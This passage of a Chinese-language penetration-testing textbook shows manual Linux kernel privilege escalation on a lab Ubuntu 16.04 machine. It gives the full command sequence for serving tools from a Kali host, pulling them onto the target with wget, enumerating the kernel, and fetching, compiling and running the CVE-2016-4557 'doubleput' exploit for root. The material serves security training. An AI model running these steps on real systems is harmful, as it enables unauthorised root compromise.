另外,运行local_exploit_suggester建议的其他内核漏洞利用将失败。这是一个重要的教训:您不能总是依赖使用自动化的 Metasploit 模块来获得访问权限或提升目标系统的权限。试错是权限提升过程中一个重要的部分。

由于此路径未能产生任何结果,我们需要采用更手动的方式来识别正确的内核漏洞利用方法。让我们从查看如何通过各种枚举脚本列举目标系统的相关信息开始。

手动内核漏洞利用

在某些情况下,您可能无法成功使用 Metasploit 模块提升权限,可能无法访问带有 meterpreter 会话的目标,或者您可能通过手动漏洞利用技术(例如 Web Shell)利用了目标。在这种情况下,您将通过标准反向 Shell 进行访问,通常是通过netcat来实现的。这带来了一些问题:您如何扫描目标以寻找潜在的内核漏洞?以及如何将内核漏洞传输到目标?

这些是我们将在本节中解决的问题;我们选择的目标是本章早些时候设置的 Ubuntu 16.04 虚拟机。

本地枚举工具

第一步是扫描并识别潜在的内核漏洞。这可以通过使用 linux-exploit-suggester 或其他枚举脚本和工具来完成。在本例中,我们将利用 linPEAS 脚本来枚举目标信息。

注意

linPEAS 是一个本地的 Linux 枚举脚本,用于搜索和扫描潜在的漏洞,然后枚举所有可用于进行权限提升攻击的重要系统信息。

linPEAS 二进制文件可以从以下 GitHub 仓库下载:github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

请确保下载 linpeas Bash 脚本,如以下截图所示:

图 10.9 – linPEAS Bash 脚本

图 10.9 – linPEAS Bash 脚本

在将 Bash 脚本下载到我们的 Kali 虚拟机后,我们需要将linpeas.sh文件传输到目标虚拟机。这无法自动完成,因为我们没有 meterpreter 会话。因此,我们需要利用 Linux 特有的工具来下载二进制文件。

文件传输

为了将linpeas.sh文件传输到我们的目标,我们需要在 Kali 虚拟机上搭建一个 Web 服务器。这个服务器将用来托管文件,以便我们可以在目标系统上下载它。可以通过以下步骤来完成:

  1. 为了在 Kali 虚拟机上设置 Web 服务器,我们可以使用 SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储 linpeas.sh 二进制文件的目录中运行以下命令来完成:

    sudo python -m SimpleHTTPServer 80

    注意

    如果端口 80 已被占用,您还可以使用系统上的任何其他开放端口。

    另外,您还可以通过运行以下命令,利用 Python 3 的 http.server 模块:

    sudo python3 -m http.server 80

    正如以下截图所示,SimpleHTTPServer 将在 Kali 虚拟机 IP 地址的 80 端口上提供目录中的文件:

    图 10.10 – SimpleHTTPServer linpeas.sh

    图 10.10 – SimpleHTTPServer linpeas.sh

  2. 为了将 linpeas.sh 文件下载到目标系统,我们可以利用 wget 工具。然而,在下载二进制文件之前,我们需要导航到一个我们有读写权限的目录。在这种情况下,我们将导航到临时目录,如以下截图所示:图 10.11 – Linux 临时目录

    图 10.11 – Linux 临时目录

  3. 现在,我们可以使用 wget 工具将文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来完成:

    wget http://<KALI-VM-IP>/linpeas.sh

    上述命令的输出可以在以下截图中看到:

图 10.12 – wget 成功传输

图 10.12 – wget 成功传输

如前所示的截图,如果传输成功,linpeas.sh 文件应该已被下载并以我们指定的名称保存。

现在,我们可以使用 linpeas.sh 脚本来枚举重要的系统信息,这些信息可以帮助我们提升权限。

枚举系统信息

linpeas.sh 脚本会列举大量信息,并执行各种检查以发现目标系统上的潜在漏洞。然而,它并不会列出潜在的内核漏洞。在内核漏洞的上下文中,我们可以使用 linpeas.sh 脚本来枚举系统信息,例如内核版本。这可以通过以下步骤来完成:

  1. 要列举所有重要的系统信息,我们需要运行 linpeas.sh 脚本。然而,在此之前,我们需要确保该脚本具有可执行权限。可以通过在目标系统上运行以下命令来完成:

    chmod +x linpeas.sh

  2. 现在,我们可以通过在目标系统上运行以下命令来运行 linpeas.sh 脚本:

    ./linpeas.sh -o SysI

    SysI 选项用于将脚本的结果限制为仅系统信息。这主要是因为 linpeas.sh 脚本会生成大量输出。

    如下截图所示,脚本会列举系统信息,包括已安装的内核版本、Linux 发行版版本以及代号:

图 10.13 – linPEAS 系统信息

图 10.13 – linPEAS 系统信息

在这种情况下,我们的目标系统运行的是 Ubuntu 16.04 LTS,内核版本为 4.4.0-21。我们可以利用这些信息来识别影响此版本内核的特定漏洞。发行版 ID、版本号和代号也非常重要,因为某些内核漏洞是专门为特定的 Linux 发行版设计的。

linPEAS 脚本没有提供任何潜在的内核漏洞,可以用于提升我们的权限。因此,我们必须使用其他枚举脚本。

注意

linPEAS 脚本列举了许多有用的信息,这些信息将在本书的后续章节中非常有用,尤其是在我们深入探讨其他 Linux 提权技巧时。

枚举内核漏洞

我们可以使用linux-exploit-suggester来枚举我们的系统信息并扫描潜在的内核漏洞。linux-exploit-suggester脚本可以从github.com/mzet-/linux-exploit-suggester下载。

建议下载脚本并将其重命名为更简单的文件名。可以通过运行以下命令来实现自动化:

wget raw.githubusercontent.com/mzet-/linux… -O les.sh

下载脚本后,我们需要将其传输到目标系统。可以按照以下步骤进行操作:

  1. 为了在 Kali 虚拟机上搭建一个 Web 服务器,我们可以利用SimpleHTTPServer Python 模块来提供二进制文件。可以通过在存储les.sh脚本的目录中运行以下命令来完成此操作:

    sudo python -m SimpleHTTPServer 80

  2. 要在目标系统上下载les.sh脚本,我们可以使用wget工具。然而,在下载二进制文件之前,我们需要导航到一个具有读写权限的目录。在这种情况下,我们将导航到临时目录,如以下截图所示:图 10.14 – Linux 临时目录

    图 10.14 – Linux 临时目录

    现在我们可以使用wget工具将文件从 Kali 虚拟机下载到目标系统。可以通过在目标系统上运行以下命令来完成此操作:

    wget http://<KALI-VM-IP>/les.sh

    输出显示在以下截图中:

    图 10.15 – wget 成功传输

    图 10.15 – wget 成功传输

    如上所示,如果传输成功,les.sh脚本应已下载并以我们指定的名称保存。

  3. 现在我们可以使用les.sh脚本来枚举我们可以利用来提升权限的潜在内核漏洞。可以通过在目标系统上运行以下命令来完成此操作:

    ./les.sh

    如下图所示,脚本将枚举所有可用于提升权限的潜在内核漏洞。我们现在可以利用这些信息来确定使用哪个内核漏洞:

    图 10.16 – Linux 漏洞建议器 – 内核漏洞

    图 10.16 – Linux 漏洞建议器 – 内核漏洞

  4. 始终建议使用第一个漏洞的输出与枚举工具和脚本结合使用。在本例中,我们将从 CVE-2016-4557 内核漏洞开始。我们需要获取更多有关该漏洞的信息,并了解如何使用它。我们可以通过执行快速 Google 搜索来完成这项任务,如以下截图所示:图 10.17 – CVE-2016-4557 Google 搜索

    图 10.17 – CVE-2016-4557 Google 搜索

    先前的 Google 搜索揭示了一个 exploit-db 的引用,其中包含有关该漏洞的信息、漏洞的源代码以及如何使用它。

    始终建议分析源代码,以确保它不是恶意的,并且按预期工作。这使你能够进行任何必要的修改。

  5. 或者,我们也可以使用 exploit-db 命令行工具来查询特定的漏洞。可以通过在 Kali 虚拟机上运行以下命令来完成:

    searchsploit linux kernel 4.4

    在这种情况下,我们正在查询 exploit-db 数据库,寻找与 Linux 内核版本 4.4.0 相关的漏洞。如以下截图所示,我们可以识别相同的漏洞:

图 10.18 – Searchsploit 结果

图 10.18 – Searchsploit 结果

图 10.18 – Searchsploit 结果

现在我们已经确定了一个潜在的内核漏洞,我们可以开始将漏洞文件传输到目标并执行它。

运行内核漏洞利用

对内核漏洞利用的进一步分析揭示了其功能和任何编译说明(如果需要),如以下截图所示:

图 10.19 – 漏洞利用说明

图 10.19 – 漏洞利用说明

图 10.19 – 漏洞利用说明

在这个特定的案例中,我们需要将包含编译脚本和漏洞二进制文件的 ZIP 文件下载到目标系统。完成此操作后,我们需要运行 doubleput 二进制文件来提升我们的会话。

关于此漏洞的更多信息可以在这里找到:www.exploit-db.com/exploits/39772

我们可以通过以下步骤运行内核漏洞利用:

  1. 该过程的第一步是将漏洞文件下载到你的 Kali 虚拟机。可以通过运行以下命令来完成:

    wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip

  2. 下载漏洞文件后,我们需要将其传输到目标系统。这可以通过在 Kali 虚拟机上启动本地 Web 服务器,并使用 SimpleHTTPServer Python 模块来完成:

    sudo python -m SimpleHTTPServer 80

  3. 要将二进制文件下载到目标系统,我们可以使用 wget 工具。然而,在下载二进制文件之前,我们需要导航到一个有读写权限的目录。在这种情况下,我们将导航到临时目录,正如我们在前面章节中所做的那样。

  4. 现在,我们可以使用 wget 工具将漏洞文件从 Kali 虚拟机下载到目标系统。这可以通过在目标系统上运行以下命令来完成:

    wget http://<KALI-VM-IP>/39772.zip

  5. 将漏洞文件传输到目标系统后,我们需要解压该文件。可以通过运行以下命令来完成:

    unzip 39772.zip

    解压漏洞文件后,你将看到一个名为 39772 的目录。进入该目录后,可以看到以下文件:

    图 10.20 – 漏洞利用压缩包内容

    图 10.20 – 漏洞利用压缩包内容

  6. 现在,我们需要提取 exploit.tar 压缩包。可以通过运行以下命令来完成:

    tar xf exploit.tar

    在提取 exploit.tar 压缩包后,你将看到一个目录,如下图所示:

    图 10.21 – 漏洞利用目录

    图 10.21 – 漏洞利用目录

    进入此目录后,会显示出一个编译脚本,执行后将生成漏洞利用二进制文件。

  7. 我们可以通过运行以下命令来执行漏洞利用编译脚本:

    ./compile.sh

    漏洞利用脚本将生成一个名为 doubleput 的漏洞利用二进制文件,如下图所示:

    图 10.22 – 漏洞利用二进制文件

    图 10.22 – 漏洞利用二进制文件

  8. 根据漏洞执行指令,我们可以运行doubleput二进制文件来获取提升会话。可以通过运行以下命令来实现:

    ./doubleput

    如果漏洞利用二进制文件成功运行,你应该会收到一个带有 root 权限的提升会话,以下截图中已突出显示:

图 10.23 – 成功的手动内核漏洞利用

图 10.23 – 成功的手动内核漏洞利用

通过利用 Linux 内核中的漏洞,我们已成功在目标 Linux 虚拟机上提升了权限。现在,我们可以开始探索其他 Linux 权限提升途径。

总结

在本章中,我们首先通过 Metasploit 框架识别并自动运行了内核漏洞利用。接着,我们查看了如何手动识别和传输内核漏洞利用。最后,我们探讨了如何在目标系统上成功执行内核漏洞利用来提升我们的权限。

现在,我们已经学会了如何在 Linux 系统上进行内核漏洞利用,可以开始探索其他 Linux 权限提升途径。

在下一章,我们将探讨如何在 Linux 上挖掘和搜索本地存储的密码,以及这如何导致成功的权限提升。